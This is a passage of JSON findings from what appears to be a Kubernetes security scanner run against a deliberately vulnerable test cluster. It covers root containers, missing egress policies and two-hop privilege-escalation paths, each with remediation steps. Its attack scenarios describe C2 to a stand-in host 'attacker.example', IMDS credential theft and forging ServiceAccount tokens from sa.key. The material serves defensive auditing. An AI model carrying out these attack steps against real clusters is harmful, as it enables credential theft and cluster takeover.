    "remediation": "Run as a non-root UID (`runAsUser: 10001`, `runAsNonRoot: true`) and bake a non-root USER into the image.",
    "remediation_steps": [
      "In the Dockerfile, add `RUN groupadd -g 10001 app \u0026\u0026 useradd -u 10001 -g app -s /usr/sbin/nologin app` and `USER 10001`. Verify the binary works (file permissions, port binding \u003c 1024 needs `NET_BIND_SERVICE`).",
      "In the PodSpec, set `securityContext.runAsNonRoot: true`, `runAsUser: 10001`, `runAsGroup: 10001`, `fsGroup: 10001`.",
      "Pair with `allowPrivilegeEscalation: false`, `capabilities.drop: [ALL]`, `readOnlyRootFilesystem: true`, `seccompProfile.type: RuntimeDefault`.",
      "Validate: `kubectl exec \u003cpod\u003e -- id` returns `uid=10001`; `kubectl get deployment/root-runner -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].securityContext.runAsUser}'` returns 10001."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://nvd.nist.gov/vuln/detail/cve-2024-21626"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Configure a Security Context for a Pod or Container",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/security-context/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "CVE-2024-21626 (Leaky Vessels)",
        "url": "https://nvd.nist.gov/vuln/detail/cve-2024-21626"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.6",
        "title": "Minimize the admission of root containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Non-root containers and rootless container engines",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:runAsRoot"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-003:Namespace:ingress-only",
    "rule_id": "KUBE-NETPOL-COVERAGE-003",
    "severity": "MEDIUM",
    "score": 5.8,
    "category": "lateral_movement",
    "title": "Namespace `ingress-only` controls ingress but has no Egress policy (one-way enforcement)",
    "description": "Namespace `ingress-only` has NetworkPolicy objects that select pods for ingress filtering but no NetworkPolicy enforces egress. In Kubernetes' policy model, ingress and egress are independent dimensions: a pod is isolated for ingress only if a policy with `policyTypes: Ingress` selects it, and isolated for egress only if a policy with `policyTypes: Egress` selects it. A pod can be tightly firewalled inbound and still reach the entire internet outbound, which is exactly the asymmetry seen here.\n\nThis is a classic misconfiguration after a half-finished zero-trust migration. Teams typically write ingress policies first because they think of \"who can talk to my service,\" and ship without revisiting outbound. The result looks compliant in dashboards but leaves data exfiltration, cloud IMDS access, and outbound C2 wide open.\n\nThe practical risk is that egress is the dimension attackers actually want. Inbound restrictions help against external scanners, but a compromised pod's value to an attacker is in what it can talk *out* to: the cloud control plane via IMDS, attacker-controlled C2, internal databases in other namespaces, and the cluster's kube-apiserver.",
    "resource": {
      "kind": "Namespace",
      "name": "ingress-only",
      "namespace": "ingress-only"
    },
    "namespace": "ingress-only",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `ingress-only`: pods are firewalled inbound but can reach any outbound destination"
    },
    "impact": "Compromised pods in this namespace retain full outbound reach. IMDS credential theft, C2 callbacks, and lateral pivots out of the namespace are unimpeded.",
    "attack_scenario": [
      "Attacker compromises any pod in `ingress-only`.",
      "They hit IMDS. The namespace has no egress policy, so the request succeeds and node IAM credentials are exfiltrated.",
      "They establish C2 to `attacker.example:443` and stream captured tokens, environment variables, and pod-mounted secrets.",
      "They pivot to other namespaces by talking to ClusterIP Services directly. The missing egress policy doesn't restrict cluster-internal destinations either.",
      "They call kube-apiserver with the pod's ServiceAccount token (egress to apiserver also unrestricted), enumerating RBAC for any privesc opportunity."
    ],
    "evidence": {
      "namespace": "ingress-only"
    },
    "remediation": "Add a default-deny-egress NetworkPolicy in `ingress-only`, then explicit per-workload egress allowlists for DNS and actual outbound dependencies.",
    "remediation_steps": [
      "Apply a `default-deny-egress` policy in `ingress-only` targeting `podSelector: {}` so every pod becomes egress-isolated.",
      "Add an explicit DNS-allow policy (UDP/TCP 53 to kube-system).",
      "For each workload that has legitimate egress, add a tight `to:` clause (specific Service, namespaceSelector+podSelector, or specific external CIDR; never `0.0.0.0/0`).",
      "Validate by `kubectl exec` into a representative pod and confirming `curl --max-time 3 https://example.com/` times out.",
      "Wire CI policy (Kyverno `require-policytypes-egress`) to fail any future namespace with ingress-only coverage."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.redhat.com/en/blog/guide-to-kubernetes-egress-network-policies",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "Red Hat — Guide to Kubernetes egress NetworkPolicies",
        "url": "https://www.redhat.com/en/blog/guide-to-kubernetes-egress-network-policies"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1567",
        "name": "Exfiltration Over Web Service",
        "url": "https://attack.mitre.org/techniques/T1567/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noEgressPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-003:Namespace:netpol-bridge",
    "rule_id": "KUBE-NETPOL-COVERAGE-003",
    "severity": "MEDIUM",
    "score": 5.8,
    "category": "lateral_movement",
    "title": "Namespace `netpol-bridge` controls ingress but has no Egress policy (one-way enforcement)",
    "description": "Namespace `netpol-bridge` has NetworkPolicy objects that select pods for ingress filtering but no NetworkPolicy enforces egress. In Kubernetes' policy model, ingress and egress are independent dimensions: a pod is isolated for ingress only if a policy with `policyTypes: Ingress` selects it, and isolated for egress only if a policy with `policyTypes: Egress` selects it. A pod can be tightly firewalled inbound and still reach the entire internet outbound, which is exactly the asymmetry seen here.\n\nThis is a classic misconfiguration after a half-finished zero-trust migration. Teams typically write ingress policies first because they think of \"who can talk to my service,\" and ship without revisiting outbound. The result looks compliant in dashboards but leaves data exfiltration, cloud IMDS access, and outbound C2 wide open.\n\nThe practical risk is that egress is the dimension attackers actually want. Inbound restrictions help against external scanners, but a compromised pod's value to an attacker is in what it can talk *out* to: the cloud control plane via IMDS, attacker-controlled C2, internal databases in other namespaces, and the cluster's kube-apiserver.",
    "resource": {
      "kind": "Namespace",
      "name": "netpol-bridge",
      "namespace": "netpol-bridge"
    },
    "namespace": "netpol-bridge",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `netpol-bridge`: pods are firewalled inbound but can reach any outbound destination"
    },
    "impact": "Compromised pods in this namespace retain full outbound reach. IMDS credential theft, C2 callbacks, and lateral pivots out of the namespace are unimpeded.",
    "attack_scenario": [
      "Attacker compromises any pod in `netpol-bridge`.",
      "They hit IMDS. The namespace has no egress policy, so the request succeeds and node IAM credentials are exfiltrated.",
      "They establish C2 to `attacker.example:443` and stream captured tokens, environment variables, and pod-mounted secrets.",
      "They pivot to other namespaces by talking to ClusterIP Services directly. The missing egress policy doesn't restrict cluster-internal destinations either.",
      "They call kube-apiserver with the pod's ServiceAccount token (egress to apiserver also unrestricted), enumerating RBAC for any privesc opportunity."
    ],
    "evidence": {
      "namespace": "netpol-bridge"
    },
    "remediation": "Add a default-deny-egress NetworkPolicy in `netpol-bridge`, then explicit per-workload egress allowlists for DNS and actual outbound dependencies.",
    "remediation_steps": [
      "Apply a `default-deny-egress` policy in `netpol-bridge` targeting `podSelector: {}` so every pod becomes egress-isolated.",
      "Add an explicit DNS-allow policy (UDP/TCP 53 to kube-system).",
      "For each workload that has legitimate egress, add a tight `to:` clause (specific Service, namespaceSelector+podSelector, or specific external CIDR; never `0.0.0.0/0`).",
      "Validate by `kubectl exec` into a representative pod and confirming `curl --max-time 3 https://example.com/` times out.",
      "Wire CI policy (Kyverno `require-policytypes-egress`) to fail any future namespace with ingress-only coverage."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.redhat.com/en/blog/guide-to-kubernetes-egress-network-policies",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "Red Hat — Guide to Kubernetes egress NetworkPolicies",
        "url": "https://www.redhat.com/en/blog/guide-to-kubernetes-egress-network-policies"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1567",
        "name": "Exfiltration Over Web Service",
        "url": "https://attack.mitre.org/techniques/T1567/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noEgressPolicies"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/cloud-eks-test/default:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.7,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/cloud-eks-test/default` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/cloud-eks-test/default` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/cloud-eks-test/default` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod cloud-eks-test/imds-pivot-app-68cfbfc794-452d5 falls back to node IAM role via IMDS\n  2. `ServiceAccount/cloud-eks-test/default` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "cloud-eks-test"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cloud-eks-test/default` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/cloud-eks-test/default` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/cloud-eks-test/default`.",
      "Acting as `ServiceAccount/cloud-eks-test/default`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod cloud-eks-test/imds-pivot-app-68cfbfc794-452d5 falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/cloud-eks-test/default`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/cloud-eks-test/default` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/cloud-eks-test/default` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "cloud-eks-test"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod cloud-eks-test/imds-pivot-app-68cfbfc794-452d5 falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "cloud-eks-test"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/containersec-fixtures/default:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.7,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/containersec-fixtures/default` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/containersec-fixtures/default` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/containersec-fixtures/default` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod containersec-fixtures/containersec-image-64d6ddbdbd-8c775 falls back to node IAM role via IMDS\n  2. `ServiceAccount/containersec-fixtures/default` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "containersec-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/containersec-fixtures/default` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/containersec-fixtures/default` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/containersec-fixtures/default`.",
      "Acting as `ServiceAccount/containersec-fixtures/default`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod containersec-fixtures/containersec-image-64d6ddbdbd-8c775 falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/containersec-fixtures/default`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/containersec-fixtures/default` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/containersec-fixtures/default` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "containersec-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod containersec-fixtures/containersec-image-64d6ddbdbd-8c775 falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "containersec-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/csr-fixtures/sa-csr-mint:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.7,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/csr-fixtures/sa-csr-mint` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/csr-fixtures/sa-csr-mint` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/csr-fixtures/sa-csr-mint` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod csr-fixtures/csr-mint-app-7b46f9dc-g8rwx falls back to node IAM role via IMDS\n  2. `ServiceAccount/csr-fixtures/sa-csr-mint` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-csr-mint",
      "namespace": "csr-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/csr-fixtures/sa-csr-mint` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/csr-fixtures/sa-csr-mint` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/csr-fixtures/sa-csr-mint`.",
      "Acting as `ServiceAccount/csr-fixtures/sa-csr-mint`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod csr-fixtures/csr-mint-app-7b46f9dc-g8rwx falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/csr-fixtures/sa-csr-mint`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/csr-fixtures/sa-csr-mint` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/csr-fixtures/sa-csr-mint` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-mint",
          "namespace": "csr-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod csr-fixtures/csr-mint-app-7b46f9dc-g8rwx falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-mint",
          "namespace": "csr-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/csr-fixtures/sa-csr-sign:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.7,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/csr-fixtures/sa-csr-sign` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/csr-fixtures/sa-csr-sign` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/csr-fixtures/sa-csr-sign` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod csr-fixtures/csr-sign-app-5db6bf86b4-xjd92 falls back to node IAM role via IMDS\n  2. `ServiceAccount/csr-fixtures/sa-csr-sign` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-csr-sign",
      "namespace": "csr-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/csr-fixtures/sa-csr-sign` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/csr-fixtures/sa-csr-sign` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/csr-fixtures/sa-csr-sign`.",
      "Acting as `ServiceAccount/csr-fixtures/sa-csr-sign`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod csr-fixtures/csr-sign-app-5db6bf86b4-xjd92 falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/csr-fixtures/sa-csr-sign`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/csr-fixtures/sa-csr-sign` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/csr-fixtures/sa-csr-sign` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
